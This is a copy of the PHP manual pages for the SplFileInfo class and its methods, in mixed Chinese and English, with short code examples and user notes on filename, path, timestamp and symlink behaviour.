There are no user contributed notes for this page.


The SplFileInfo class

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

简介

The SplFileInfo class offers a high-level object-oriented interface to information for an individual file.

类摘要

class SplFileInfo implements Stringable {
/* 方法 */
public __construct(string $filename)
public getATime(): int|false
public getBasename(string $suffix = ""): string
public getCTime(): int|false
public getExtension(): string
public getFileInfo(?string $class = null): SplFileInfo
public getFilename(): string
public getGroup(): int|false
public getInode(): int|false
public getLinkTarget(): string|false
public getMTime(): int|false
public getOwner(): int|false
public getPath(): string
public getPathInfo(?string $class = null): ?SplFileInfo
public getPathname(): string
public getPerms(): int|false
public getRealPath(): string|false
public getSize(): int|false
public getType(): string|false
public isDir(): bool
public isExecutable(): bool
public isFile(): bool
public isLink(): bool
public isReadable(): bool
public isWritable(): bool
public openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public setFileClass(string $class = SplFileObject::class): void
public setInfoClass(string $class = SplFileInfo::class): void
public __toString(): string
}

更新日志

版本 | 说明
8.0.0 | SplFileInfo implements Stringable now.

Table of Contents

  • SplFileInfo::__construct — 构造新的 SplFileInfo 对象
  • SplFileInfo::getATime — Gets last access time of the file
  • SplFileInfo::getBasename — Gets the base name of the file
  • SplFileInfo::getCTime — 获取文件 inode 修改时间
  • SplFileInfo::getExtension — Gets the file extension
  • SplFileInfo::getFileInfo — Gets an SplFileInfo object for the file
  • SplFileInfo::getFilename — Gets the filename
  • SplFileInfo::getGroup — Gets the file group
  • SplFileInfo::getInode — Gets the inode for the file
  • SplFileInfo::getLinkTarget — Gets the target of a link
  • SplFileInfo::getMTime — Gets the last modified time
  • SplFileInfo::getOwner — Gets the owner of the file
  • SplFileInfo::getPath — Gets the path without filename
  • SplFileInfo::getPathInfo — Gets an SplFileInfo object for the path
  • SplFileInfo::getPathname — Gets the path to the file
  • SplFileInfo::getPerms — Gets file permissions
  • SplFileInfo::getRealPath — Gets absolute path to file
  • SplFileInfo::getSize — Gets file size
  • SplFileInfo::getType — Gets file type
  • SplFileInfo::isDir — Tells if the file is a directory
  • SplFileInfo::isExecutable — Tells if the file is executable
  • SplFileInfo::isFile — Tells if the object references a regular file
  • SplFileInfo::isLink — Tells if the file is a link
  • SplFileInfo::isReadable — Tells if file is readable
  • SplFileInfo::isWritable — Tells if the entry is writable
  • SplFileInfo::openFile — Gets an SplFileObject object for the file
  • SplFileInfo::setFileClass — Sets the class used with SplFileInfo::openFile
  • SplFileInfo::setInfoClass — Sets the class used with SplFileInfo::getFileInfo and SplFileInfo::getPathInfo
  • SplFileInfo::__toString — Returns the path to the file as a string

User Contributed Notes

There are no user contributed notes for this page.


构造新的 SplFileInfo 对象

  • ? SplFileInfo
  • SplFileInfo::getATime ?
  • PHP Manual
  • SplFileInfo
  • 构造新的 SplFileInfo 对象

SplFileInfo::__construct

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::__construct — 构造新的 SplFileInfo 对象

说明

public SplFileInfo::__construct(string $filename)

为指定 file_name 创建新的 SplFileInfo 对象。该文件不需要存在或者可读。

参数

filename

文件路径。

示例

Example #1 SplFileInfo::__construct() 示例

<?php
$info = new SplFileInfo('example.php');
if ($info->isFile()) {
echo $info->getRealPath();
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Gets last access time of the file

  • ? SplFileInfo::__construct
  • SplFileInfo::getBasename ?
  • PHP Manual
  • SplFileInfo
  • Gets last access time of the file

SplFileInfo::getATime

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getATime — Gets last access time of the file

说明

public SplFileInfo::getATime(): int|false

Gets the last access time for the file.

参数

此函数没有参数。

返回值

Returns the time the file was last accessed on success, or false on failure.

错误／异常

Throws RuntimeException on error.

示例

Example #1 SplFileInfo::getATime() example

<?php
$info = new SplFileInfo('example.jpg');
echo 'Last accessed at ' . date('g:i a', $info->getATime());
?>

以上示例的输出类似于：

Last accessed at 1:49 pm

参见

  • fileatime() - 取得文件的上次访问时间
  • SplFileInfo::getCTime() - 获取文件 inode 修改时间
  • SplFileInfo::getMTime() - Gets the last modified time

User Contributed Notes

There are no user contributed notes for this page.


Gets the base name of the file

  • ? SplFileInfo::getATime
  • SplFileInfo::getCTime ?
  • PHP Manual
  • SplFileInfo
  • Gets the base name of the file

SplFileInfo::getBasename

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

SplFileInfo::getBasename — Gets the base name of the file

说明

public SplFileInfo::getBasename(string $suffix = ""): string

This method returns the base name of the file, directory, or link without path info.

Caution

SplFileInfo::getBasename() is locale aware, so for it to see the correct basename with multibyte character paths, the matching locale must be set using the setlocale() function.

参数

suffix

Optional suffix to omit from the base name returned.

返回值

Returns the base name without path information.

示例

Example #1 SplFileInfo::getBasename() example

<?php
$info = new SplFileInfo('file.txt');
var_dump($info->getBasename());

$info = new SplFileInfo('/path/to/file.txt');
var_dump($info->getBasename());

$info = new SplFileInfo('/path/to/file.txt');
var_dump($info->getBasename('.txt'));
?>

以上示例的输出类似于：

string(8) "file.txt"
string(8) "file.txt"
string(4) "file"

参见

  • SplFileInfo::getFilename() - Gets the filename

User Contributed Notes

glen at pld-linux dot org 13-Mar-2018 07:49
similarly to basename, this method also suffers corruption if filename starts with non-ascii and locale not set to matching charset

$ LC_ALL=C php -r 'var_dump(basename("?mb.er")); $fi = new SplFileInfo("?m.ber"); var_dump($fi->getBasename());';
string(5) "mb.er"
string(5) "m.ber"

$ LC_ALL=en_US.UTF-8 php -r 'var_dump(basename("?mb.er")); $fi = new SplFileInfo("?m.ber"); var_dump($fi->getBasename());';
string(7) "?mb.er"
string(7) "?m.ber"
schuyler dot bos at gmail dot com 27-Dec-2016 10:51
Agreed, this is just silly.  why not make getFileName() just return the string without extension. then, there would be a method to return all the different permutations without having to do weird coding.

getBaseName()
getExtention()
getFileName()

although due to nomenclature it might make more sense to have getBaseName() return the file name without extension, since getFileName() would kinda suggest it has a file extension on it.
adam dot schubert at sg1-game dot net 19-Feb-2016 03:11
If you want to get only filename and dont want to use weird:

<?php
pathinfo($file->getBasename(), PATHINFO_FILENAME);
?>

You can use (also weird but ~better looking):

<?php
$file->getBasename('.'.$file->getExtension());
?>

PS: Why there is getFilename ? when it returns ~same stuff as getBasename ? I have to do this ugly stuff^ instead of simple getFilename...


获取文件 inode 修改时间

  • ? SplFileInfo::getBasename
  • SplFileInfo::getExtension ?
  • PHP Manual
  • SplFileInfo
  • 获取文件 inode 修改时间

SplFileInfo::getCTime

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getCTime — 获取文件 inode 修改时间

说明

public SplFileInfo::getCTime(): int|false

返回此文件 inode 的修改时间，返回的时间是 Unix 时间戳。

参数

此函数没有参数。

返回值

成功时为 inode 最后一次变更的时间（Unix 时间戳），失败时为 false。

错误／异常

错误时抛出 RuntimeException。

示例

Example #1 SplFileInfo::getCTime() 例子

<?php
$info = new SplFileInfo('example.jpg');
echo 'Last changed at ' . date('g:i a', $info->getCTime());
?>

以上示例的输出类似于：

Last changed at 1:49 pm

参见

  • filectime() - 取得文件的 inode 修改时间
  • SplFileInfo::getATime() - Gets last access time of the file
  • SplFileInfo::getMTime() - Gets the last modified time

User Contributed Notes

michael at smith-li dot com 30-Jun-2014 07:29
A file's ctime is it's inode change time. The inode changes when file metadata changes (for example when file permissions change). The inode also changes whenever the file's contents change, but since the inode changes for other reasons, it's more accurate to use mtime to get the age of the contents of a file. See SPLFileInfo::getMTime

Also, please note ctime is not creation time. (Most UNIX-like filesystems do not record a file's creation time.)


Gets the file extension

  • ? SplFileInfo::getCTime
  • SplFileInfo::getFileInfo ?
  • PHP Manual
  • SplFileInfo
  • Gets the file extension

SplFileInfo::getExtension

(PHP 5 >= 5.3.6, PHP 7, PHP 8)

SplFileInfo::getExtension — Gets the file extension

说明

public SplFileInfo::getExtension(): string

Retrieves the file extension.

参数

此函数没有参数。

返回值

Returns a string containing the file extension, or an empty string if the file has no extension.

示例

Example #1 SplFileInfo::getExtension() example

<?php

$info = new SplFileInfo('foo.txt');
var_dump($info->getExtension());

$info = new SplFileInfo('photo.jpg');
var_dump($info->getExtension());

$info = new SplFileInfo('something.tar.gz');
var_dump($info->getExtension());

?>

以上示例会输出：

string(3) "txt"
string(3) "jpg"
string(2) "gz"

注释

Note:

Another way of getting the extension is to use the pathinfo() function.

<?php
$extension = pathinfo($info->getFilename(), PATHINFO_EXTENSION);
?>

参见

  • SplFileInfo::getFilename() - Gets the filename
  • SplFileInfo::getBasename() - Gets the base name of the file
  • pathinfo() - 返回文件路径的信息

User Contributed Notes

There are no user contributed notes for this page.


Gets an SplFileInfo object for the file

  • ? SplFileInfo::getExtension
  • SplFileInfo::getFilename ?
  • PHP Manual
  • SplFileInfo
  • Gets an SplFileInfo object for the file

SplFileInfo::getFileInfo

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getFileInfo — Gets an SplFileInfo object for the file

说明

public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo

This method gets an SplFileInfo object for the referenced file.

参数

class

Name of an SplFileInfo derived class to use.

返回值

An SplFileInfo object created for the file.

更新日志

版本 | 说明
8.0.0 | class is now nullable.

参见

  • SplFileInfo::setInfoClass() - Sets the class used with SplFileInfo::getFileInfo and SplFileInfo::getPathInfo

User Contributed Notes

There are no user contributed notes for this page.


Gets the filename

  • ? SplFileInfo::getFileInfo
  • SplFileInfo::getGroup ?
  • PHP Manual
  • SplFileInfo
  • Gets the filename

SplFileInfo::getFilename

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getFilename — Gets the filename

说明

public SplFileInfo::getFilename(): string

Gets the filename without any path information.

参数

此函数没有参数。

返回值

The filename.

示例

Example #1 SplFileInfo::getFilename() example

<?php
$info = new SplFileInfo('foo.txt');
var_dump($info->getFilename());

$info = new SplFileInfo('/path/to/foo.txt');
var_dump($info->getFilename());

$info = new SplFileInfo('http://www.php.net/');
var_dump($info->getFilename());

$info = new SplFileInfo('http://www.php.net/svn.php');
var_dump($info->getFilename());
?>

以上示例的输出类似于：

string(7) "foo.txt"
string(7) "foo.txt"
string(0) ""
string(7) "svn.php"

参见

  • SplFileInfo::getBasename() - Gets the base name of the file

User Contributed Notes

khalidhameedkht at gmail dot com 14-Dec-2016 12:06
// Careful, output is different for `filename` vs `getFilename`. Inconsistent behaviour.

$path = 'test.txt';

$pathInfo = pathinfo($path);
echo '<pre>';
print_r($pathInfo);

echo '<br>';
echo '***************';

$splFileInfo = new SplFileInfo($path);
echo '<br>';
echo $splFileInfo->getBasename();

echo '<br>';
echo $splFileInfo->getFilename();
Alex Russell 28-Sep-2015 03:39
I was trying to work out the difference between this and getBasename (http://php.net/manual/splfileinfo.getbasename.php) and the only difference I could really see was a special case of a file in the filesystem root with the root specified:

<?php
function getInfo($reference)
{
    $file = new SplFileInfo($reference);

    var_dump($file->getFilename());
    var_dump($file->getBasename());
}

$test = [
    '/path/to/file.txt',
    '/path/to/file',
    '/path/to/',
    'path/to/file.txt',
    'path/to/file',
    'file.txt',
    '/file.txt',
    '/file',
];

foreach ($test as $file) {
    getInfo($file);
}

// will return:
/*
string(8) "file.txt"
string(8) "file.txt"

string(4) "file"
string(4) "file"

string(2) "to"
string(2) "to"

string(8) "file.txt"
string(8) "file.txt"

string(4) "file"
string(4) "file"

string(8) "file.txt"
string(8) "file.txt"

string(9) "/file.txt" // see how getFilename includes the '/'
string(8) "file.txt"  // but getBasename doesn't

string(5) "/file"     // ditto getFilename
string(4) "file"      // ditto getBasename
*/

?>
wloske at yahoo dot de 19-Oct-2009 09:12
It should be mentioned that the function returns the name of the directory if "filename" is of type "directory". Hence

<?php
$info = new SplFileInfo('/path/to/');
var_dump($info->getFilename());
?>

should return "to"

The function name is kind of misleading here and I am glad to have it tried.


Gets the file group

  • ? SplFileInfo::getFilename
  • SplFileInfo::getInode ?
  • PHP Manual
  • SplFileInfo
  • Gets the file group

SplFileInfo::getGroup

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getGroup — Gets the file group

说明

public SplFileInfo::getGroup(): int|false

Gets the file group. The group ID is returned in numerical format.

参数

此函数没有参数。

返回值

The group id in numerical format on success, or false on failure.

错误／异常

Throws RuntimeException on error.

示例

Example #1 SplFileInfo::getGroup() example

<?php
$info = new SplFileInfo('example.jpg');
echo info->getFilename() . ' belongs to group id ' . $info->getGroup() . "\n";
print_r(posix_getgrgid($info->getGroup()));
?>

以上示例的输出类似于：

example.jpg belongs to group id 42
Array
(
    [name] => toons
    [passwd] => x
    [members] => Array
        (
            [0] => tom
            [1] => jerry
        )
    [gid] => 42
)

参见

  • filegroup() - 取得文件的组
  • posix_getgrgid() - Return info about a group by group id

User Contributed Notes

There are no user contributed notes for this page.


Gets the inode for the file

  • ? SplFileInfo::getGroup
  • SplFileInfo::getLinkTarget ?
  • PHP Manual
  • SplFileInfo
  • Gets the inode for the file

SplFileInfo::getInode

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getInode — Gets the inode for the file

说明

public SplFileInfo::getInode(): int|false

Gets the inode number for the filesystem object.

参数

此函数没有参数。

返回值

Returns the inode number for the filesystem object on success, or false on failure.

错误／异常

Throws RuntimeException on error.

参见

  • fileinode() - 取得文件的 inode

User Contributed Notes

sander at webpirates dot nl 12-Jun-2009 02:03
Question raised on DPC2009: What does getInode() return on windows? Answer: int 0.


Gets the target of a link

  • ? SplFileInfo::getInode
  • SplFileInfo::getMTime ?
  • PHP Manual
  • SplFileInfo
  • Gets the target of a link

SplFileInfo::getLinkTarget

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

SplFileInfo::getLinkTarget — Gets the target of a link

说明

public SplFileInfo::getLinkTarget(): string|false

Gets the target of a filesystem link.

Note:

The target may not be the real path on the filesystem. Use SplFileInfo::getRealPath() to determine the true path on the filesystem.

参数

此函数没有参数。

返回值

Returns the target of the filesystem link on success, or false on failure.

错误／异常

Throws RuntimeException on error.

示例

Example #1 SplFileInfo::getLinkTarget() example

<?php
$info = new SplFileInfo('/Users/bbieber/workspace');
if ($info->isLink()) {
var_dump($info->getLinkTarget());
var_dump($info->getRealPath());
}
?>

以上示例的输出类似于：

string(19) "Documents/workspace"
string(34) "/Users/bbieber/Documents/workspace"

参见

  • SplFileInfo::isLink() - Tells if the file is a link
  • SplFileInfo::getRealPath() - Gets absolute path to file

User Contributed Notes

There are no user contributed notes for this page.


Gets the last modified time

  • ? SplFileInfo::getLinkTarget
  • SplFileInfo::getOwner ?
  • PHP Manual
  • SplFileInfo
  • Gets the last modified time

SplFileInfo::getMTime

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getMTime — Gets the last modified time

说明

public SplFileInfo::getMTime(): int|false

Returns the time when the contents of the file were changed. The time returned is a Unix timestamp.

参数

此函数没有参数。

返回值

Returns the last modified time for the file, in a Unix timestamp on success, or false on failure.

示例

Example #1 SplFileInfo::getMTime() example

<?php
$info = new SplFileInfo('example.jpg');
echo 'Last modified at ' . date('g:i a', $info->getMTime());
?>

以上示例的输出类似于：

Last modified at 1:49 pm

参见

  • filemtime() - 取得文件修改时间
  • SplFileInfo::getATime() - Gets last access time of the file
  • SplFileInfo::getCTime() - 获取文件 inode 修改时间

User Contributed Notes

There are no user contributed notes for this page.


Gets the owner of the file

  • ? SplFileInfo::getMTime
  • SplFileInfo::getPath ?
  • PHP Manual
  • SplFileInfo
  • Gets the owner of the file

SplFileInfo::getOwner

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getOwner — Gets the owner of the file

说明

public SplFileInfo::getOwner(): int|false

Gets the file owner. The owner ID is returned in numerical format.

参数

此函数没有参数。

返回值

The owner id in numerical format on success, or false on failure.

错误／异常

Throws RuntimeException on error.

示例

Example #1 SplFileInfo::getOwner() example

<?php
$info = new SplFileInfo('example.jpg');
echo info->getFilename() . ' belongs to owner id ' . $info->getOwner() . "\n";
print_r(posix_getpwuid($info->getOwner()));
?>

以上示例的输出类似于：

example.jpg belongs to user id 501
Array
(
    [name] => tom
    [passwd] => x
    [uid] => 501
    [gid] => 42
    [gecos] => Tom Cat
    [dir] => /home/tom
    [shell] => /bin/bash
)

参见

  • posix_getpwuid() - Return info about a user by user id
  • SplFileInfo::getGroup() - Gets the file group

User Contributed Notes

There are no user contributed notes for this page.


Gets the path without filename

  • ? SplFileInfo::getOwner
  • SplFileInfo::getPathInfo ?
  • PHP Manual
  • SplFileInfo
  • Gets the path without filename

SplFileInfo::getPath

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getPath — Gets the path without filename

说明

public SplFileInfo::getPath(): string

Returns the path to the file, omitting the filename and any trailing slash.

参数

此函数没有参数。

返回值

Returns the path to the file.

示例

Example #1 SplFileInfo::getPath() example

<?php
$info = new SplFileInfo('/usr/bin/php');
var_dump($info->getPath());

$info = new SplFileInfo('/usr/');
var_dump($info->getPath());?>

以上示例的输出类似于：

string(8) "/usr/bin"
string(4) "/usr"

参见

  • SplFileInfo::getRealPath() - Gets absolute path to file
  • SplFileInfo::getFilename() - Gets the filename
  • SplFileInfo::getPathInfo() - Gets an SplFileInfo object for the path

User Contributed Notes

There are no user contributed notes for this page.


Gets an SplFileInfo object for the path

  • ? SplFileInfo::getPath
  • SplFileInfo::getPathname ?
  • PHP Manual
  • SplFileInfo
  • Gets an SplFileInfo object for the path

SplFileInfo::getPathInfo

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getPathInfo — Gets an SplFileInfo object for the path

说明

public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo

Gets an SplFileInfo object for the parent of the current file.

参数

class

Name of an SplFileInfo derived class to use, or itself if null.

返回值

Returns an SplFileInfo object for the parent path of the file on success, or null on failure.

更新日志

版本 | 说明
8.0.0 | class is now nullable.

示例

Example #1 SplFileInfo::getPathInfo() example

<?php
$info = new SplFileInfo('/usr/bin/php');
$parent_info = $info->getPathInfo();
var_dump($parent_info->getRealPath());
?>

以上示例的输出类似于：

string(8) "/usr/bin"

参见

  • SplFileInfo::setInfoClass() - Sets the class used with SplFileInfo::getFileInfo and SplFileInfo::getPathInfo

User Contributed Notes

There are no user contributed notes for this page.


Gets the path to the file

  • ? SplFileInfo::getPathInfo
  • SplFileInfo::getPerms ?
  • PHP Manual
  • SplFileInfo
  • Gets the path to the file

SplFileInfo::getPathname

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getPathname — Gets the path to the file

说明

public SplFileInfo::getPathname(): string

Returns the path to the file.

参数

此函数没有参数。

返回值

The path to the file.

示例

Example #1 SplFileInfo::getPathname() example

<?php
$info = new SplFileInfo('/usr/bin/php');
var_dump($info->getPathname());
?>

以上示例的输出类似于：

string(12) "/usr/bin/php"

参见

  • SplFileInfo::getRealPath() - Gets absolute path to file

User Contributed Notes

_ michael 18-Mar-2011 06:00
In Windows, getPathname might return a path with a mix of backslashes and forward slashes ('C:/some/path/to\a\file.txt'). Observed in PHP 5.2.9. By contrast, getRealPath will return a consistent result (all backslashes).


Gets file permissions

  • ? SplFileInfo::getPathname
  • SplFileInfo::getRealPath ?
  • PHP Manual
  • SplFileInfo
  • Gets file permissions

SplFileInfo::getPerms

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getPerms — Gets file permissions

说明

public SplFileInfo::getPerms(): int|false

Gets the file permissions for the file.

参数

此函数没有参数。

返回值

Returns the file permissions on success, or false on failure.

示例

Example #1 SplFileInfo::getPerms() example

<?php
$info = new SplFileInfo('/tmp');
echo substr(sprintf('%o', $info->getPerms()), -4);

$info = new SplFileInfo(__FILE__);
echo substr(sprintf('%o', $info->getPerms()), -4);
?>

以上示例的输出类似于：

1777
0644

User Contributed Notes

There are no user contributed notes for this page.


Gets absolute path to file

  • ? SplFileInfo::getPerms
  • SplFileInfo::getSize ?
  • PHP Manual
  • SplFileInfo
  • Gets absolute path to file

SplFileInfo::getRealPath

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

SplFileInfo::getRealPath — Gets absolute path to file

说明

public SplFileInfo::getRealPath(): string|false

This method expands all symbolic links, resolves relative references and returns the real path to the file.

参数

此函数没有参数。

返回值

Returns the path to the file, or false if the file does not exist.

示例

Example #1 SplFileInfo::getRealPath() example

<?php
$info = new SplFileInfo('/..//./../../'.__FILE__);
var_dump($info->getRealPath());

$info = new SplFileInfo('/tmp');
var_dump($info->getRealPath());

$info = new SplFileInfo('/I/Do/Not/Exist');
var_dump($info->getRealPath());

$info = new SplFileInfo('php://output');
var_dump($info->getRealPath());

$info = new SplFileInfo("");
var_dump($info->getRealPath());
?>

以上示例的输出类似于：

string(28) "/private/tmp/phptempfile.php"
string(12) "/private/tmp"
bool(false)
bool(false)
string(12) "/private/tmp"

参见

  • SplFileInfo::isLink() - Tells if the file is a link
  • realpath() - 返回规范化的绝对路径名

User Contributed Notes

giel at berkers dot online 21-Feb-2018 10:09
Note that due to realpath caching this method will return false when the file has been renamed or unlinked by other processes.

Example:

<?php
$info = new SplFileInfo('example.php');
$info->getRealPath();   // /path/to/example.php

rename('example.php', 'foobar.php');

$info->getRealPath();   // false
?>


Gets file size

  • ? SplFileInfo::getRealPath
  • SplFileInfo::getType ?
  • PHP Manual
  • SplFileInfo
  • Gets file size

SplFileInfo::getSize

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getSize — Gets file size

说明

public SplFileInfo::getSize(): int|false

Returns the filesize in bytes for the file referenced.

参数

此函数没有参数。

返回值

The filesize in bytes on success, or false on failure.

错误／异常

A RuntimeException will be thrown if the file does not exist or an error occurs.

示例

Example #1 SplFileInfo::getSize() example

<?php
$info = new SplFileInfo('example.jpg');
echo $fileinfo->getFilename() . " " . $fileinfo->getSize();
?>

以上示例的输出类似于：

example.jpg 15385

参见

  • filesize() - 取得文件大小

User Contributed Notes

Pawel B. 11-May-2023 08:41
When getSize return 0, after fwrtite, You must use clearstatcache:

$tmpFile = new \SplFileObject('/tmp/file.txt');
$fp = $tmpFile->openFile('w');
$fp->fwrite('123');
$fp->fflush();
echo $fp->getSize(); //Return 0
clearstatcache();
echo $fp->getSize(); //Return 3

https://bugs.php.net/bug.php?id=72182
random-citizen at example dot org 30-May-2018 08:38
If you're using Symfony's UploadedFile,
please be aware that if you call this method
_after_ you call @move, you will most likely get
some obscenely untraceable error, that says:

`stat failed`

Which if you really think about it, it does makes sense,
the file has been moved by Symfony, but getSize is in SplFileInfo,
and SplFileInfo doesn't know that the file has been moved.

Weirdly enough, that error doesn't come on my work mac :|
contact at socialdevelop dot biz 01-Apr-2016 05:59
if use it as SplFileInfo::getSize - it return false if file not found
if use it as SplFileObject::getSize - it generate RuntimeException: SplFileObject::__construct(my-file): failed to open stream: No such file or directory
Anonymous 14-Mar-2016 08:21
Check http://php.net/manual/en/function.filesize.php#115792 for fast and reliable version of filesize for files >2gb on 32 bit systems.
franssen dot roland at gmail dot com 30-Apr-2011 05:59
Seems to return FALSE if file does not exists... (PHP 5.3.4)


Gets file type

  • ? SplFileInfo::getSize
  • SplFileInfo::isDir ?
  • PHP Manual
  • SplFileInfo
  • Gets file type

SplFileInfo::getType

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getType — Gets file type

说明

public SplFileInfo::getType(): string|false

Returns the type of the file referenced.

参数

此函数没有参数。

返回值

A string representing the type of the entry. May be one of file, link, dir, block, fifo, char, socket, or unknown, or false on failure.

错误／异常

Throws a RuntimeException on error.

示例

Example #1 SplFileInfo::getType() example

<?php

$info = new SplFileInfo(__FILE__);
echo $info->getType().PHP_EOL;

$info = new SplFileInfo(dirname(__FILE__));
echo $info->getType();

?>

以上示例的输出类似于：

file
dir

User Contributed Notes

There are no user contributed notes for this page.


Tells if the file is a directory

  • ? SplFileInfo::getType
  • SplFileInfo::isExecutable ?
  • PHP Manual
  • SplFileInfo
  • Tells if the file is a directory

SplFileInfo::isDir

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::isDir — Tells if the file is a directory

说明

public SplFileInfo::isDir(): bool

This method can be used to determine if the file is a directory.

参数

此函数没有参数。

返回值

Returns true if a directory, false otherwise.

示例

Example #1 SplFileInfo::isDir() example

<?php
$d = new SplFileInfo(dirname(__FILE__));
var_dump($d->isDir());

$d = new SplFileInfo(__FILE__);
var_dump($d->isDir());
?>

以上示例的输出类似于：

bool(true)
bool(false)

User Contributed Notes

dev at mike dot pp dot ua 20-Jun-2019 09:16
Documentation is a bit misleading.

SplFileInfo->isDir() and other classes (e.g. DirectoryIterator->isDir()) return TRUE for symlinks of directories. Better use getType() method instead, which returns 'link' for symlinks.

This was reported long time ago - https://bugs.php.net/bug.php?id=72364 , but docs are still not fixed.


Tells if the file is executable

  • ? SplFileInfo::isDir
  • SplFileInfo::isFile ?
  • PHP Manual
  • SplFileInfo
  • Tells if the file is executable

SplFileInfo::isExecutable

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::isExecutable — Tells if the file is executable

说明

public SplFileInfo::isExecutable(): bool

Checks if the file is executable.

参数

此函数没有参数。

返回值

Returns true if executable, false otherwise.

示例

Example #1 SplFileInfo::isExecutable() example

<?php
$info = new SplFileInfo('/usr/bin/php');
var_dump($info->isExecutable());

$info = new SplFileInfo('/usr/bin');
var_dump($info->isExecutable());

$info = new SplFileInfo('foo');
var_dump($info->isExecutable());
?>

以上示例的输出类似于：

bool(true)
bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Tells if the object references a regular file

  • ? SplFileInfo::isExecutable
  • SplFileInfo::isLink ?
  • PHP Manual
  • SplFileInfo
  • Tells if the object references a regular file

SplFileInfo::isFile

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::isFile — Tells if the object references a regular file

说明

public SplFileInfo::isFile(): bool

Checks if the file referenced by this SplFileInfo object exists and is a regular file.

参数

此函数没有参数。

返回值

Returns true if the file exists and is a regular file (not a link), false otherwise.

示例

Example #1 SplFileInfo::isFile() example

<?php
$info = new SplFileInfo(__FILE__);
var_dump($info->isFile());

$info = new SplFileInfo(dirname(__FILE__));
var_dump($info->isFile());
?>

以上示例的输出类似于：

bool(true)
bool(false)

User Contributed Notes

dev at mike dot pp dot ua 20-Jun-2019 09:12
Documentation is a bit misleading.

SplFileInfo->isFile() and other classes (e.g. DirectoryIterator->isFile()) return TRUE for symlinks of files. Better use getType() method instead, which returns 'link' for symlinks.

This was reported long time ago - https://bugs.php.net/bug.php?id=72364 , but docs are still not fixed.


Tells if the file is a link

  • ? SplFileInfo::isFile
  • SplFileInfo::isReadable ?
  • PHP Manual
  • SplFileInfo
  • Tells if the file is a link

SplFileInfo::isLink

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::isLink — Tells if the file is a link

说明

public SplFileInfo::isLink(): bool

Use this method to check if the file referenced by the SplFileInfo object is a link.

参数

此函数没有参数。

返回值

Returns true if the file is a link, false otherwise.

示例

Example #1 SplFileInfo::isLink() example

<?php
$info = new SplFileInfo('/path/to/symlink');
if ($info->isLink()) {
echo 'The real path is '.$info->getRealPath();
}
?>

参见

  • SplFileInfo::getRealPath() - Gets absolute path to file

User Contributed Notes

There are no user contributed notes for this page.


Tells if file is readable

  • ? SplFileInfo::isLink
  • SplFileInfo::isWritable ?
  • PHP Manual
  • SplFileInfo
  • Tells if file is readable

SplFileInfo::isReadable

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::isReadable — Tells if file is readable

说明

public SplFileInfo::isReadable(): bool

Check if the file is readable.

参数

此函数没有参数。

返回值

Returns true if readable, false otherwise.

示例

Example #1 SplFileInfo::isReadable() example

<?php
$info = new SplFileInfo('readable.jpg');
if ($info->isReadable()) {
echo $info->getFilename() . ' is readable';
}
?>

以上示例的输出类似于：

readable.jpg is readable

User Contributed Notes

There are no user contributed notes for this page.


Tells if the entry is writable

  • ? SplFileInfo::isReadable
  • SplFileInfo::openFile ?
  • PHP Manual
  • SplFileInfo
  • Tells if the entry is writable

SplFileInfo::isWritable

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::isWritable — Tells if the entry is writable

说明

public SplFileInfo::isWritable(): bool

Checks if the current entry is writable.

参数

此函数没有参数。

返回值

Returns true if writable, false otherwise;

示例

Example #1 SplFileInfo::isWriteable() example

<?php
$info = new SplFileInfo('locked.jpg');
if (!$info->isWriteable()) {
echo $info->getFilename() . ' is not writeable';
}
?>

以上示例的输出类似于：

locked.jpg is not writeable

User Contributed Notes

There are no user contributed notes for this page.


Gets an SplFileObject object for the file

  • ? SplFileInfo::isWritable
  • SplFileInfo::setFileClass ?
  • PHP Manual
  • SplFileInfo
  • Gets an SplFileObject object for the file

SplFileInfo::openFile

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::openFile — Gets an SplFileObject object for the file

说明

public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject

Creates an SplFileObject object of the file. This is useful because SplFileObject contains additional methods for manipulating the file whereas SplFileInfo is only useful for gaining information, like whether the file is writable.

参数

mode

The mode for opening the file. See the fopen() documentation for descriptions of possible modes. The default is read only.

useIncludePath

值设为 true 时，也会在 include_path 中搜索文件名。

context

上下文（context）的说明请参考手册中的 上下文（context）章节。

返回值

The opened file as an SplFileObject object.

错误／异常

A RuntimeException if the file cannot be opened (e.g. insufficient access rights).

更新日志

版本 | 说明
8.0.0 | context is now nullable.

示例

Example #1 SplFileInfo::openFile() example

<?php
$fileinfo = new SplFileInfo('/tmp/foo.txt');

if ($fileinfo->isWritable()) {

$fileobj = $fileinfo->openFile('a');

$fileobj->fwrite("appended this sample text");
}
?>

参见

  • SplFileObject
